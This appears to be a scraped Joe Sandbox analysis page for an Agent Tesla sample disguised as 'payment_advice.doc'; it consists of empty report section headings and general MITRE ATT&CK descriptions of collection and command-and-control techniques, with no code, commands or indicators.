Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report payment_advice.doc

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

SMTP Packets

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre